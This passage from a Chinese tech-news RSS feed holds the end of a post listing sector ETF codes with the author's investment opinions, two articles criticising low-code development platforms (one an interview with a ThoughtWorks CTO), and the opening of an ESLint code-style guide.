遍在15%以上。&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h4&gt;大消费行业指数基金：&lt;/h4&gt;&lt;p&gt;1.酒ETF：512690&lt;/p&gt;&lt;p&gt;2.食品饮料ETF：515170&lt;/p&gt;&lt;p&gt;3.家电ETF：159996&lt;/p&gt;&lt;p&gt;我个人最喜欢的就是消费ETF，没有之一。消费ETF是A股中ROE最高的，平均都在25%左右，消费ETF非常适合长期持有，等到大幅度回撤适合，可以重仓买入，然后长期持有。只是消费ETF很少有便宜时候。&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h4&gt;新能源车行业指数基金：&lt;/h4&gt;&lt;p&gt;1.新能源车ETF：515030&lt;/p&gt;&lt;p&gt;2.新能源ETF：&amp;nbsp;516160&lt;/p&gt;&lt;p&gt;3.智能驾驶ETF：516520&lt;/p&gt;&lt;p&gt;新能源车我个人建议一定要买指数基金，个股太不明朗了。就算是最大龙头特斯拉，又有谁能保证不是当年塞班系统时代的诺基亚呢？更不要提中国造车新势力了。当然这个行业未来肯定是非常美好的。&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h4&gt;大科技行业指数基金：&lt;/h4&gt;&lt;p&gt;1.芯片ETF：159995&lt;/p&gt;&lt;p&gt;2.半导体ETF：512480&lt;/p&gt;&lt;p&gt;3.软件ETF：515230&lt;/p&gt;&lt;p&gt;4.科技ETF：&amp;nbsp;515000&lt;/p&gt;&lt;p&gt;5.5GETF：515050&lt;/p&gt;&lt;p&gt;6.通信ETF：515880&lt;/p&gt;&lt;p&gt;7.信息技术：159939&lt;/p&gt;&lt;p&gt;8.物联ETF：159897&lt;/p&gt;&lt;p&gt;9.互联网50&amp;nbsp;：159856&lt;/p&gt;&lt;p&gt;10.计算机ETF：512720&lt;/p&gt;&lt;p&gt;这个行业同新能源车一样，如果投资的话一定要投指数基金，个股难度系数最大。&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h4&gt;大军工行业指数基金：&lt;/h4&gt;&lt;p&gt;1.军工ETF：512660&lt;/p&gt;&lt;p&gt;2.国防ETF：512670&lt;/p&gt;&lt;p&gt;这个行业周期性太长，很难把握。对投资指数基金比较丰富的我来说，投资军工也是困难模式。&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h4&gt;化工光伏行业指数基金：&lt;/h4&gt;&lt;p&gt;1.化工龙头ETF：516220&lt;/p&gt;&lt;p&gt;2.光伏ETF：515790&lt;/p&gt;&lt;p&gt;3.新材料：159703&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h4&gt;大制造行业指数基金：&lt;/h4&gt;&lt;p&gt;1.智能制造ETF：516800&lt;/p&gt;&lt;p&gt;2.高端装备ETF：516320&lt;/p&gt;&lt;p&gt;3.机械ETF：516960&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h4&gt;资源类行业指数基金：&lt;/h4&gt;&lt;p&gt;1.黄金ETF：518880&lt;/p&gt;&lt;p&gt;2.有色金属ETF：512400&lt;/p&gt;&lt;p&gt;3.稀土ETF：516780&lt;/p&gt;&lt;p&gt;4.钢铁ETF：515210&lt;/p&gt;&lt;p&gt;5.煤炭ETF：515220&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h4&gt;文化类行业指数基金：&lt;/h4&gt;&lt;p&gt;1.游戏ETF：159869&lt;/p&gt;&lt;p&gt;2.教育ETF：513360&lt;/p&gt;&lt;p&gt;3.传媒ETF：512980&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h4&gt;大农业指数基金：&lt;/h4&gt;&lt;p&gt;1.养殖ETF：159865&lt;/p&gt;&lt;p&gt;2.畜牧ETF：159867&lt;/p&gt;&lt;p&gt;3.农业ETF：159825&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h4&gt;大基建行业指数基金：&lt;/h4&gt;&lt;p&gt;1.建材ETF：159745&lt;/p&gt;&lt;p&gt;2.基建ETF：516950&lt;/p&gt;&lt;p&gt;3.房地产ETF：512200&lt;/p&gt;&lt;p&gt;房地产ETF我觉得是最近最大的机会，关于房地产的利空消息太多了，但也正式有这些各种利空，房地产才绝对低估。如果你相信未来十年，二十年，房地产不会消失，那么这个时候投资房地产ETF是最明智的。&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h4&gt;其他行业指数基金：&lt;/h4&gt;&lt;p&gt;1.环保ETF：159861&lt;/p&gt;&lt;p&gt;2.低碳ETF：516070&lt;/p&gt;&lt;p&gt;3.物流ETF：516910&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h4&gt;策略型指数基金：&lt;/h4&gt;&lt;p&gt;1、红利ETF：510880&lt;/p&gt;&lt;p&gt;2、中证500低波动：512260&lt;/p&gt;&lt;p&gt;3、基本面120ETF：159910&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;投资&lt;a href="http://xueqiu.com/S/SH600905" target="_blank"&gt;$三峡能源(SH600905)$&lt;/a&gt; 的小散，一定要关注这篇。&lt;/p&gt;&lt;br/&gt;&lt;br/&gt;&lt;a href="http://xueqiu.com/9230360867/187379248"&gt;本话题在雪球有67条讨论，点击查看。&lt;/a&gt;&lt;br/&gt;雪球是一个投资者的社交网络，聪明的投资者都在这里。&lt;br/&gt;点击下载雪球手机客户端 &lt;a href="http://xueqiu.com/xz"&gt;http://xueqiu.com/xz&lt;/a&gt;&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category />
      <guid isPermaLink="true">https://itindex.net/detail/61571-%E6%8A%95%E8%B5%84-etf-%E6%8C%87%E6%95%B0%E5%9F%BA%E9%87%91</guid>
      <pubDate>Sun, 27 Jun 2021 22:30:24 CST</pubDate>
    </item>
    <item>
      <title>低代码平台如何一步步摧毁开发团队的效率与创新！</title>
      <link>https://itindex.net/detail/61412-%E4%BB%A3%E7%A0%81-%E5%B9%B3%E5%8F%B0-%E5%BC%80%E5%8F%91</link>
      <description>&lt;p&gt;关于低代码平台，之前我也推送过两篇相关的文章，我的观点很简单：东西是好的，有它所擅长和适用的领域，但软件产品不存在银弹，低代码平台一样如此！&lt;/p&gt; &lt;p&gt;现在在搜索引擎上搜“低代码”这样的关键词，你会看到很多夸张的标题，比如：&lt;/p&gt; &lt;ul&gt;  &lt;li&gt;“人人都是产品经理”之后，“人人都是程序员”的时代要来了？&lt;/li&gt;  &lt;li&gt;阿里、腾讯都在押注的新赛道，能让程序员告别脱发和996吗？&lt;/li&gt;  &lt;li&gt;还有诸多低代码平台的公司拿到各种融资或地区性政府补贴的新闻&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;甚至我还在福报长的抖音账号中，看到了程序员下午坐在外面喝咖啡，说有了低代码，现在大把时间休息的短视频。。。&lt;/p&gt; &lt;p&gt;低代码平台真的这么神奇？我们在企业数字化转型过程中的开发任务都可以用低代码平台来解决吗？我们开发者996的宿命就这样被搞定了？&lt;/p&gt; &lt;p&gt;如果你正对低代码平台抱有上面幻想的话，一定要好好看看下面的内容！&lt;/p&gt; &lt;p&gt;先表明观点：如果你试图使用低代码平台去解决所有开发问题的时候，很有可能这样的决定将在2-3年之后带来巨大的灾难！&lt;/p&gt; &lt;p&gt;为什么这样说呢？下面结合我们10年前的实践，给大家说道说道！&lt;/p&gt; &lt;h2&gt;  &lt;a href="http://blog.didispace.com/#&amp;#20266;&amp;#26032;&amp;#25216;&amp;#26415;" title="&amp;#20266;&amp;#26032;&amp;#25216;&amp;#26415;"&gt;&lt;/a&gt;伪新技术&lt;/h2&gt; &lt;p&gt;你没看错，是结合10年前的实践！所以，低代码平台并不是什么新概念，我们10年前就玩过了！&lt;/p&gt; &lt;p&gt;记得以前在宇宙行的时候，就有一阵推行过一套开发平台，里面也是提倡大家用拖拽的方式去实现各项业务功能。&lt;/p&gt; &lt;p&gt;领导们也都非常推崇，希望通过这套平台的使用，对开发效率带来革命性的变化。&lt;/p&gt; &lt;p&gt;当然当时的平台，与如今的低代码平台还是有一些差距，目前所见的平台会更加完善（界面好看了，控件也多了），但从一名从业十多年的开发人员角度去看，并没有质的进步，这样的程度距离淘汰开发者还有很长的路要走。&lt;/p&gt; &lt;h2&gt;  &lt;a href="http://blog.didispace.com/#&amp;#25928;&amp;#29575;&amp;#27602;&amp;#33647;" title="&amp;#25928;&amp;#29575;&amp;#27602;&amp;#33647;"&gt;&lt;/a&gt;效率毒药&lt;/h2&gt; &lt;p&gt;低代码平台是效率毒药！&lt;/p&gt; &lt;p&gt;按照各种产品的宣传来看，低代码平台的目标是要解放我们，让我们更快的开发产品，那为什么说低代码平台是效率毒药呢？宣传是骗人的吗？&lt;/p&gt; &lt;p&gt;宣传并没有骗人，当我们实际去使用的时候，你会发现，开发一些简单应用的时候，确实会快很多！&lt;/p&gt; &lt;p&gt;同时，在我们过去的实践过程中，开始时候的效率是可以的！这取决于两方面的功劳：&lt;/p&gt; &lt;ol&gt;  &lt;li&gt;小范围的试错&lt;/li&gt;  &lt;li&gt;简单应用的先行&lt;/li&gt;&lt;/ol&gt; &lt;p&gt;但随着推广的铺开，也逐步的会面临这几个问题：&lt;/p&gt; &lt;ol&gt;  &lt;li&gt;平台支持成了瓶颈：大量使用问题、各种平台报错都堆积到低代码平台的负责团队。对于平台的人员支持，不可能给每个业务系统都配置一个支持人员吧？所以当应用面一旦扩撒，平台支持团队很快会成为整个系统内的效率瓶颈。&lt;/li&gt;  &lt;li&gt;扯皮问题开始增多：当出了线上事故开始定则的时候，原本系统之间可能会存在扯皮，但有了低代码平台之后，系统内的实现也多了一个扯皮方向。到底是组件Bug还是使用问题？使用问题的话，文档写清楚这种特殊情况不行了吗？这种新扯皮姿势的出现，阻碍了解决问题的效率。&lt;/li&gt;&lt;/ol&gt; &lt;p&gt;之所以说低代码平台是效率毒药，因为在一开始的时候，你是感觉不到的，只有在逐步深化应用，全面推行的时候，它的毒性就开始发作了！&lt;/p&gt; &lt;h2&gt;  &lt;a href="http://blog.didispace.com/#&amp;#21019;&amp;#26032;&amp;#27602;&amp;#33647;" title="&amp;#21019;&amp;#26032;&amp;#27602;&amp;#33647;"&gt;&lt;/a&gt;创新毒药&lt;/h2&gt; &lt;p&gt;低代码平台是创新毒药！&lt;/p&gt; &lt;p&gt;关于创新，第一点弊端，你一定会想到，就是固化组件的问题，让所有的实现都千篇一律。&lt;/p&gt; &lt;p&gt;但这个在如今的低代码平台上，其实有好的解决方案，那就是各种自定义实现。&lt;/p&gt; &lt;p&gt;既然用平台是为了让业务开发更专注业务，同时在使用低代码平台之后，这样的组件创新任务，往往又都回到了平台侧的支持上。&lt;/p&gt; &lt;p&gt;于是，最经典的一幕就出现了：&lt;/p&gt; &lt;p&gt;产品经理：这个功能，我们想这样…这样…再这样…可以不？  &lt;br /&gt;开发人员：平台没这个模块，实现不了  &lt;br /&gt;…  &lt;br /&gt;产品经理：平台能做个模块支持下吗？  &lt;br /&gt;低代码平台：这个需求，我们下个版本可以考虑下  &lt;br /&gt;产品经理：下个版本什么时候？  &lt;br /&gt;低代码平台：半年后…要么你先用xxx组件 + yyy组件这样…那样…最后…先凑合一下？  &lt;br /&gt;产品经理：…&lt;/p&gt; &lt;p&gt;这是当时很真实且频繁出现的场景！业务总是千变万化的，然而平台的新功能总是滞后的，作为业务开发，必须通过平台实现，很多时候因为缺乏灵活性，让开发失去了原有的创新能力。同时，也成了开发人员拒绝业务需求的神兵利器。&lt;/p&gt; &lt;p&gt;记得在那个时期，基本上所有的项目都是差不多的样子…毫无新意可言，这怎么会促进业务创新呢？这样的平台几乎成为了创新的毒药！&lt;/p&gt; &lt;h2&gt;  &lt;a href="http://blog.didispace.com/#&amp;#25670;&amp;#27491;&amp;#23039;&amp;#24577;" title="&amp;#25670;&amp;#27491;&amp;#23039;&amp;#24577;"&gt;&lt;/a&gt;摆正姿态&lt;/h2&gt; &lt;p&gt;为什么效率、创新这些低代码平台原本所要追求的愿景最终会成为毒药，给团队带来负面影响呢？&lt;/p&gt; &lt;p&gt;这里固然有销售方的过渡吹嘘，就如前几年阿里中台的乱吹乱用，让不少买单企业骂娘！但作为引入这类平台的管理者来说，也有不可推卸的责任。&lt;/p&gt; &lt;p&gt;根据过去的负面经历，不妨思考一下：为什么推荐给开发人员会出现那么多反面的效果？&lt;/p&gt; &lt;p&gt;我认为造成这个核心问题还是由于平台提供能力与使用人员能力的不匹配所造成的。&lt;/p&gt; &lt;p&gt;回想一下低代码平台的目标是什么？&lt;/p&gt; &lt;ul&gt;  &lt;li&gt;上手速度快&lt;/li&gt;  &lt;li&gt;开发效率高&lt;/li&gt;  &lt;li&gt;研发成本低&lt;/li&gt;  &lt;li&gt;部署时间短&lt;/li&gt;  &lt;li&gt;维护成本低&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;综合起来就是：有效提高团队效率。但到底是提高什么团队的效率呢？既然推向开发团队，受到如此多的白眼，那么推向产品侧？运营侧？是否可行呢？&lt;/p&gt; &lt;p&gt;试想一下，低代码平台的目标是要降低了上手门槛，那么对于开发人员而言，他好不容易具备了门槛知识，突然又用低代码平台来给他用，然后告诉他，你之前的开发方式不用了，可以花更多精力专注于业务的思考了。是不是这样的目标就很奇特呢？从原本更灵活的开发手段，到使用低代码平台的限制方式，不是浪费了原有开发人员所具备的更灵活的开发能力？然后还要开发人员专注去学习业务？那么学习业务的效率和准确度能有保证吗？是不是有种好不容易招了批练武奇才，学会了九阴白骨爪，然后给发了副手套，去挠痒痒么？这是不是一种  &lt;strong&gt;人才的降级使用&lt;/strong&gt;呢？&lt;/p&gt; &lt;p&gt;再换个角度想想，如果低代码平台推向产品侧呢？本身他们有更专业的业务背景，然后依靠低代码平台，拖拖拽拽就能完成一套业务系统的开发，这样的使用方式，似乎更配得上低代码平台降低上手门槛的目标？因为没有占用开发人员的资源，因此也为公司极大的降低了研发成本？大大提高了业务系统的开发效率？而开发团队更应该去做的是低代码平台无法做到的那些更具有创新意义，或更具备挑战的开发任务，不是吗？&lt;/p&gt; &lt;p&gt;似乎把低代码平台推向产品侧会得到很好的效果？愿景很美好，但现实也是很骨感的！最近，我就尝试着给几位产品经理朋友，搞了一些小合作，因为正好公司运作也需要一些工具，然后推荐了几个低代码平台让他们去尝试，但结果并不完全令人满意，不过似乎我也从中得到了一些新的启示！&lt;/p&gt; &lt;p&gt;我发现，如果产品经理拥有一些开发背景、学过编程、或是软件专业毕业的话，在使用低代码平台的时候，效果就尤为突出。也许是因为他们的知识背景  &lt;strong&gt;具备一定软件开发的思维模式&lt;/strong&gt;，结合对业务的理解，所以对于低代码平台的应用就更为友好！&lt;/p&gt; &lt;p&gt;所以，对于低代码平台，好东西是无可厚非的，但使用姿势一定要正确！  &lt;strong&gt;任何东西只有用对了地方，才能成为神器！放错位置的神器，有时候连垃圾都不如&lt;/strong&gt;。&lt;/p&gt; &lt;p&gt;那么你觉得低代码平台如何呢？你们的使用姿势是怎么样的？有没有不舒服的地方呢？留言说说你的想法吧！如果你想与更多有趣的灵魂碰撞，也可以加入我们的  &lt;a href="https://mp.weixin.qq.com/s/h2Z1Pf4OJy-Jat1fy-U-7g" rel="noopener" target="_blank"&gt;技术交流群&lt;/a&gt;一起探讨我们的技术人生！&lt;/p&gt;&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>随想感悟 前沿思考</category>
      <guid isPermaLink="true">https://itindex.net/detail/61412-%E4%BB%A3%E7%A0%81-%E5%B9%B3%E5%8F%B0-%E5%BC%80%E5%8F%91</guid>
      <pubDate>Thu, 13 May 2021 15:54:47 CST</pubDate>
    </item>
    <item>
      <title>为什么我说低代码是“行业毒瘤”？</title>
      <link>https://itindex.net/detail/61375-%E4%BB%A3%E7%A0%81-%E8%A1%8C%E4%B8%9A</link>
      <description>&lt;p&gt;&lt;/p&gt; &lt;blockquote&gt;使用低代码平台写出来的代码既难以维护，又难以测试，同时它还给行业传递了非常不好的信号，“程序员的价值是不值钱的”，最终造成的结果就是一些不具备编程专业技能的人，使用极不趁手、效率低下的工具来做写代码的工作。这是非常危险的，这类低代码工具就是行业毒瘤！&lt;/blockquote&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;近段时间，低代码在市场中获得了前所未有的热度，很多投资机构都做了相关的分析与预测。Gartner 预测：到 2025 年，70% 的新应用将由低代码 / 无代码技术完成开发。那么，低代码真的是新风口吗？它真的可以提升效率吗？&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;带着这些问题，InfoQ 采访了 ThoughtWorks 中国区 CTO 徐昊，他表示低代码不是一个新概念，现在也不是低代码第一次引发业界讨论，以降低程序员门槛为目的的低代码从底层逻辑上就是不通的，这类低代码不是风口，而是行业毒瘤。&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;h2&gt;低代码并不是新概念，每隔几年就会重新流行&lt;/h2&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;什么是低代码呢？2014 年，Forrester Research 研究机构正式提出了低代码的定义，即利用很少或几乎不需要写代码就可以快速开发应用，并可以快速配置和部署的一种技术和工具。通俗一点理解，在程序员实现功能的过程中，只使用了很少的代码，或者是通过拼接的方式来完成，比如我们在 Excel 中输入公式，完成相应计算，这也可以算是低代码的一种。&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;在徐昊看来，低代码并不是一个新概念，每隔几年低代码就会卷土重来，在业界引发热议。&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;伴随着计算机产生的历史，“程序员”有一个圣杯性的使命——让计算机彻底工具化。不要只是让专业人员来操控计算机，要让一些没有编程训练、不是计算机专业的人也可以使用计算机完成相应的工作。&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;顺着计算机发展历史去看低代码，我们会发现每个阶段的低代码定义都是不一样的。&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;最开始，我们是使用机器码来编程的，FORTRAN 编程语言出现之后，我们就可以使用高级编程语言去编程，不用再操控机器。那么，与操控机器对比，FORTRAN 中的数学表达式就是“低代码”。&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;经过一段时间的发展，编程开始围绕数据来展开，那么，业务人员能不能不用写代码就生成自己的数据报表呢？这时，SQL 就出现了，当年它也被认为是“低代码”。&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;根据历史规律，这类“低代码”总是在出现之后再慢慢演变成程序员的一个工具。&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;这次，低代码能够流行的一个背景是微服务的发展。微服务的理念是把企业中复杂度高的应用拆解成多个微服务，然后通过更简单、更低成本的方式把已存在的微服务串联起来，形成新的功能。那么，企业在进行微服务改造的时候，心中存的念想就是可以降低新功能研发和创新的成本。当企业的微服务改造都基本完成之后，通过“低代码”的开发模式将它们串联成新功能，似乎是合理的选择。&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;h2&gt;以降低程序员门槛为目的的低代码是最没用的&lt;/h2&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;低代码领域目前没有特别明确的类别划分依据，各家研究机构和企业都有自己的划分标准。在徐昊看来，低代码可以粗粒度地分为三类。&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;第一类低代码是我们常说的脚本化，类似于在 Excel 中使用宏，通常是围绕一个特定的产品或生态去形成脚本化的环境。以 Salesforce 为例，每家公司的销售流程都会有差异，即使是再优秀的 SaaS 服务或产品都只能覆盖 80% 以上的功能，剩下一些需求还是要定制化。而这些定制化的需求往往是轻量级的，因此，SaaS 或 PaaS 平台通过低代码工具就可以实现这些需求。&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;其实，脚本化在行业中已经存在很多了，基本上所有做产品的公司都有脚本化的需求，主体功能不变，通过一个轻量的脚本语言在上面去做定制化需求。最典型的例子 JavaScript，JavaScript 出现时的平台产品是浏览器，通过一个脚本语言去完成浏览器上的一些额外功能，但是现在很少有人会把使用 JavaScript 叫做低代码。从某种程度上来讲，这类低代码产品最终会演变成程序员的工作，甚至引发新一类程序员的出现，而它本身则从低代码退化成为真正的代码。&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;第二类是我们希望看到的低代码，但是可能没有商业前景。目前企业内部仍然存在大量的人工操作和流程。这些操作或流程可能都有特殊之处，如果把它们自动化，就可以把大量的人力从繁琐的工作中解放出来。&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;但是企业很难关注这些流程，再加上想要自动化这些工作是很难的。不过我们会发现，在行业中出现了很多针对个人工作流的自动化工具，比如苹果的 automator, 昙花一现的 IFTTT，甚至更早的 yahoo pipes。这种简单的个人流程自动化低代码，通常是根据屏幕上发生的事情来触发，或者根据绘制的简单流程完成业务自动化的操作。&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;服务于个人生产力的低代码，既不会对行业造成影响，同时又有很明确的市场需求，但由于不赚钱，进入这个领域的人非常少。&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;第三类是现在常见的以降低程序员门槛为目的，想要说服企业使用便宜的人力成本去干活的低代码平台。在它们的宣传语中甚至会强调自己不只是低代码，而是无代码。&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;这类低代码其实就是之前出现过的使用表单去绘制工作流，然后在工作流程的每个节点上配上表、企业流程和 OA。&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;徐昊表示：“这类代码其实是最没有用的，它给行业传达了非常不好的信号——程序员的价值是不值钱的，它尝试说服企业的理由永远是程序员那么贵，使用我的工具，就可以使用更便宜的程序员了。事实上，这些能够实现的功能非常有限，甚至会导致很严重的结果，让一些不具备专业技能的人，使用极不趁手、效率低下的工具，来干写代码的工作。这是非常危险的，这样写出来的代码既难以维护，又难以测试，这一类的工具低代码平台是行业毒瘤。”&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;h2&gt;为什么我说低代码是行业毒瘤？&lt;/h2&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;徐昊认为以降低程序员门槛为目的的低代码是行业毒瘤，但有意思的是，这类低代码平台在资本上是最受追捧的，因为它能讲出很美好的故事。原本企业需要花很多费用来雇佣程序员，而使用低代码工具就可以节约这部分成本。但仔细思考，就会发现这个故事的内在逻辑是有问题的。问题出在哪里呢？&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;第一，低代码平台预设的使用人群永远是初级、入门的人&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;以图形化工作流为例，当你完全不会写代码时，通过拖拽工作流这种直观的方式可以实现相关代码。但开发者会成长，不会永远处在同样的位置，而低代码平台预设的使用群体永远是初级、入门的人。&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;以面向幼儿编程的编程语言 Scratch 为例，它将代码结构表达为图形化的模块，通过图形化的拖拽拼搭代码。在这种情况下，即使是不识字的小朋友也可以通过拖拽去实现相关功能。但是小朋友不会永远不识字，当他成长之后，就会发现打字的效率是要远高于拖拽。&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;第二，低代码平台暗藏巨大的变革成本&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;根据徐昊的观察，目前绝大多数低代码厂商提供的产品都尝试覆盖完整的软件生命周期。企业购买之后，开发者在平台上按照平台的规则来编程。所以，低代码平台看似售卖的是开发工具，实际上卖的是一种工作模式，企业研发团队需要改变原本的工作模式。这种变革的成本是非常巨大的。&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;据徐昊所知，某厂商的研发部想要上线一个低代码平台来提升研发效能，但是上线之后，发现团队没有办法使用低代码平台来接管整个业务，再加上上线时间很紧张，所以权衡之后，他们又采购了另一个低代码平台，想要联合两个平台来解决问题，但现实是直到现在，他们还在尝试如何将低代码平台成功应用到企业业务中。&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;第三，风口不代表长期发展，低代码其实是个伪需求&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;在投资市场中，低代码似乎已经成为了一个新风口，很多研究机构都对低代码的未来做了分析和预测。Infolob 研究显示，低代码应用程序保持着 40% 的年复合增长率，预计到 2022 年，低代码应用程序市场总规模将达 212 亿美元。研究机构 Gartner 则预测，2024 年应用软件开发活动当中的 65% 将通过低代码方式完成，同时 75% 的大型企业将使用至少四种低代码开发工具进行应用开发。&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;那么，被资本市场看好是否意味着低代码的未来值得期待呢？&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;徐昊表示：“风口和长期发展并不能完全划等号。资本市场的投资策略往往是宁可错投、不可错过，而作为行业从业者，我是从基础逻辑来判断一项技术的未来，即它对行业长期发展是否有帮助。”&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;“低代码的出现确实是有市场机遇的，现在程序员缺口很大，大家都在 996，加班干活，所以我们需要一个提升效能的工具。但你仔细思考，对于很多企业来说，这其实是个伪需求，低代码的定位不是帮助从业者提升效能，而帮助小白来入门行业。软件从业者的效率会低于一个没有入门的人吗？显然不可能，所以与其关注低代码，不如关注针对程序员本身是否有工具可以帮助他，能否将他的流程进行有效的自动化。”&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;采访嘉宾：&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;徐昊，ThoughtWorks 全球技术策略顾问、中国区 CTO 及首席咨询师。&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;自 2003 年起开始实践极限编程等敏捷方法，是 Agile China 和 BJUG（Beijing Java User Group）创始人，在 Scrum 和 FDD 等敏捷方法、敏捷交付和敏捷项目管理、IT 人员胜任力、大规模工程实践、以及组织认知模型等方面有着丰富经验。目前致力于构造高效 IT 组织的理论与实践，大规模团队敏捷实践和管理再造，以及企业级技术应用趋势和技术战略的研究等。&lt;/p&gt;&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category />
      <guid isPermaLink="true">https://itindex.net/detail/61375-%E4%BB%A3%E7%A0%81-%E8%A1%8C%E4%B8%9A</guid>
      <pubDate>Wed, 28 Apr 2021 15:31:42 CST</pubDate>
    </item>
    <item>
      <title>中小型前端团队代码规范工程化最佳实践 - ESLint</title>
      <link>https://itindex.net/detail/61336-%E5%89%8D%E7%AB%AF-%E5%9B%A2%E9%98%9F-%E4%BB%A3%E7%A0%81</link>
      <description>&lt;h2&gt;前言&lt;/h2&gt; &lt;blockquote&gt;There are a thousand Hamlets in a thousand people&amp;apos;s eyes.&lt;/blockquote&gt; &lt;p&gt;一千个程序员，就有一千种代码风格。在前端开发中，有几个至今还在争论的代码风格差异：&lt;/p&gt; &lt;ul&gt;  &lt;li&gt;单引号还是双引号？&lt;/li&gt;  &lt;li&gt;代码行结束是否需要分号？&lt;/li&gt;  &lt;li&gt;两个空格还是四个空格？&lt;/li&gt;  &lt;li&gt;...&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;这几个代码风格差异在协同开发中经常会被互相吐槽，甚至不能忍受。&lt;/p&gt; &lt;p&gt;除此之外，由于 JavaScript 的灵活性，往往一段代码能有多种写法，这时候也会导致协同时差异。并且，有一些写法可能会导致不易发现的 bug，或者这些写法的性能不好，开发时也应该避免。&lt;/p&gt; &lt;p&gt;为了解决这类静态代码问题，每个团队都需要一个统一的 JavaScript 代码规范，团队成员都遵守这份代码规范来编写代码。当然，靠人来保障代码规范是不可靠的，需要有对应的工具来保障，ESLint 就是这个工具。&lt;/p&gt; &lt;p&gt;有的读者看到这里，可能会说：Prettier 也可以保证代码风格一致。是的，Prettier 确实可以按照设置的规则对代码进行统一格式化，后面的文章也会有对应的介绍。但是需要明确的一点是，Prettier 只会在格式上对代码进行格式化，一些隐藏的代码质量问题 Prettier 是无法发现的，而 ESLint 可以。&lt;/p&gt; &lt;h2&gt;关于 ESLint&lt;/h2&gt; &lt;p&gt;关于   &lt;a href="https://eslint.org/" rel="nofollow noreferrer"&gt;ESLint&lt;/a&gt;，它的 Slogan 是 Find and fix problems in your JavaScript code。如上文所说，它可以发现并修复你 JavaScript 代码中的问题。来看一下官网上描述 ESLint 具备的三个特性：&lt;/p&gt; &lt;ul&gt;  &lt;li&gt;   &lt;strong&gt;Find Problems&lt;/strong&gt;。ESLint 通过静态代码分析可以快速发现代码中的问题。ESLint 可以运行在大多数文本编辑器中，并且也可以在工作流中接入 ESLint&lt;/li&gt;  &lt;li&gt;   &lt;strong&gt;Fix Automatically&lt;/strong&gt;。ESLint 发现的很多问题都可以自动修复&lt;/li&gt;  &lt;li&gt;   &lt;strong&gt;Customize&lt;/strong&gt;。可以定制 ESLint 检查规则&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;基于以上描述，我们在前端工程化中可以这样使用 ESLint：&lt;/p&gt; &lt;ol&gt;  